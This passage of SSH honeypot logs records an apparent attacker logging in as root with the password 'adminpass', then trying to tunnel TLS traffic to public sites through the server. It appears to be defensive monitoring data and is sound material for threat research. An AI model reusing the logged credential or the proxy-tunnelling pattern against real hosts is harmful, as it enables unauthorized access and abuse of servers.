e,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:57:34.803569Z","src_ip":"185.156.73.233","session":"e072559b6be2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"adminpass","message":"login attempt [root/adminpass] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:57:35.194233Z","src_ip":"185.156.73.233","session":"e072559b6be2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"54.170.77.26","dst_port":443,"src_ip":"185.156.73.233","src_port":55964,"message":"direct-tcp connection request to 54.170.77.26:443 from 127.0.0.1:55964","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:57:39.563583Z","session":"e072559b6be2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"54.170.77.26","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 54.170.77.26:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:57:40.840985Z","src_ip":"185.156.73.233","session":"e072559b6be2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"54.170.77.26","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1c\\xea\\xc7\\x05j\\xfe\\xef\\x95\\xff\\xcd\\xe0\\xd6\\xd6z$p\\xa0:\\x18\\xd8H\\xa3\\x02\\xe8\\xd8X\\xe6\\x1b\\xe4\\x9e:\\x12 \\xd97\\xd8a\\xd1/\\xe1\\xac\\xf6\\xbaj\\x00A2A\\x84)R\\xa3\\xf7& %D\\xd5\\x07\\xc8\\x0e \\xbb\\xdb\\x91\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 O\\xac\\xd2\\xd9\\x0be\\xccN\\xdb\\xdb\\x05\\x9ei5\\xd7\\xd4I\\xd7w\\x04i\\x07\\xfc\\xcd\\xf5\\x18h\\xcd1X\\xb6w\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 54.170.77.26:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1c\\xea\\xc7\\x05j\\xfe\\xef\\x95\\xff\\xcd\\xe0\\xd6\\xd6z$p\\xa0:\\x18\\xd8H\\xa3\\x02\\xe8\\xd8X\\xe6\\x1b\\xe4\\x9e:\\x12 \\xd97\\xd8a\\xd1/\\xe1\\xac\\xf6\\xbaj\\x00A2A\\x84)R\\xa3\\xf7& %D\\xd5\\x07\\xc8\\x0e \\xbb\\xdb\\x91\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 O\\xac\\xd2\\xd9\\x0be\\xccN\\xdb\\xdb\\x05\\x9ei5\\xd7\\xd4I\\xd7w\\x04i\\x07\\xfc\\xcd\\xf5\\x18h\\xcd1X\\xb6w\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:57:40.844190Z","src_ip":"185.156.73.233","session":"e072559b6be2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"23.220.112.242","dst_port":443,"src_ip":"185.156.73.233","src_port":58390,"message":"direct-tcp connection request to 23.220.112.242:443 from 127.0.0.1:58390","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:57:41.636665Z","session":"e072559b6be2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"23.220.112.242","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 23.220.112.242:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:57:44.577064Z","src_ip":"185.156.73.233","session":"e072559b6be2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"23.220.112.242","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x81\\xb5\\x8ag\\x00\\x81e\\xf4\\xcbB/\\xf0=\\xbb\\xe7\\x11Le\\x97\\x18`\\x85Im%\\xed\\xdd\\x91\\xe5\\\\w\\xaf \\xa4\\x02\\x10\\xfb\\xbd\\xcc\\x10\\x802\\x98\\xd31\\x11$:\\x10}H\\xf7J&\\x18\\xfd\\xf0u\\xd5h\\x1a\\x15!\\x1c\\x87\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 F!k\\xc3\\xba\\xb2xsm\\x10J\\xff\\xa1\\x18\\xb9\\x96[\\x13,:\\x1bn\\x02\\x8d\\xb1/\\xd0\\xf6v\\x89\\xa4]\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 23.220.112.242:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x81\\xb5\\x8ag\\x00\\x81e\\xf4\\xcbB/\\xf0=\\xbb\\xe7\\x11Le\\x97\\x18`\\x85Im%\\xed\\xdd\\x91\\xe5\\\\w\\xaf \\xa4\\x02\\x10\\xfb\\xbd\\xcc\\x10\\x802\\x98\\xd31\\x11$:\\x10}H\\xf7J&\\x18\\xfd\\xf0u\\xd5h\\x1a\\x15!\\x1c\\x87\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 F!k\\xc3\\xba\\xb2xsm\\x10J\\xff\\xa1\\x18\\xb9\\x96[\\x13,:\\x1bn\\x02\\x8d\\xb1/\\xd0\\xf6v\\x89\\xa4]\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:57:44.580345Z","src_ip":"185.156.73.233","session":"e072559b6be2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.152.119","dst_port":443,"src_ip":"185.156.73.233","src_port":60864,"message":"direct-tcp connection request to 142.251.152.119:443 from 127.0.0.1:60864","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:57:47.449290Z","session":"e072559b6be2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.152.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.152.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:57:48.564912Z","src_ip":"185.156.73.233","session":"e072559b6be2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.152.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xed'\\xe0\\xceC\\xc9\\xb6\\xe1\\x93\\x9b\\xd2UE\\xca\\x00\\xae'V\\xda\\x95z\\xa4\\xb4\\x8a\\xda9\\xae\\x03\\xac\\x14\\x00\\xeb \\xb7\\xee\\xab\\x97\\xf8\\x1b\\xc8\\xe6Z\\xdau\\x18\\xea\\xb7Y\\xd7i\\x00\\xb1\\xa8\\xd5}k\\x01\\x0e\\x82\\x1f\\xda\\x12u\\xf8\\xfe\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xa8|\\x8c\\xd1\\xae\\xda\\n\\x06\\xbaZ\\xd2\\xf9\\x84b\\xb0\\x15\\x81K!\\xf9\\xce\\x06$\\xff9\\x8d\\xfc\\x8b\\xb5[\\xa7\\x13\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.152.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xed'\\xe0\\xceC\\xc9\\xb6\\xe1\\x93\\x9b\\xd2UE\\xca\\x00\\xae'V\\xda\\x95z\\xa4\\xb4\\x8a\\xda9\\xae\\x03\\xac\\x14\\x00\\xeb \\xb7\\xee\\xab\\x97\\xf8\\x1b\\xc8\\xe6Z\\xdau\\x18\\xea\\xb7Y\\xd7i\\x00\\xb1\\xa8\\xd5}k\\x01\\x0e\\x82\\x1f\\xda\\x12u\\xf8\\xfe\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xa8|\\x8c\\xd1\\xae\\xda\\n\\x06\\xbaZ\\xd2\\xf9\\x84b\\xb0\\x15\\x81K!\\xf9\\xce\\x06$\\xff9\\x8d\\xfc\\x8b\\xb5[\\xa7\\x13\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:57:48.568358Z","src_ip":"185.156.73.233","session":"e072559b6be2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:57:49.493525Z","src_ip":"185.156.73.233","session":"e072559b6be2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":57990,"dst_ip":"159.203.135.109","dst_port":22,"session":"af56354ed637","protocol":"ssh","message":"New connection: 193.32.162.151:57990 (159.203.135.109:22) [session: af56354ed637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:58:23.974266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:58:23.978503Z","src_ip":"193.32.162.151","session":"af56354ed637","protocol":"ssh"}
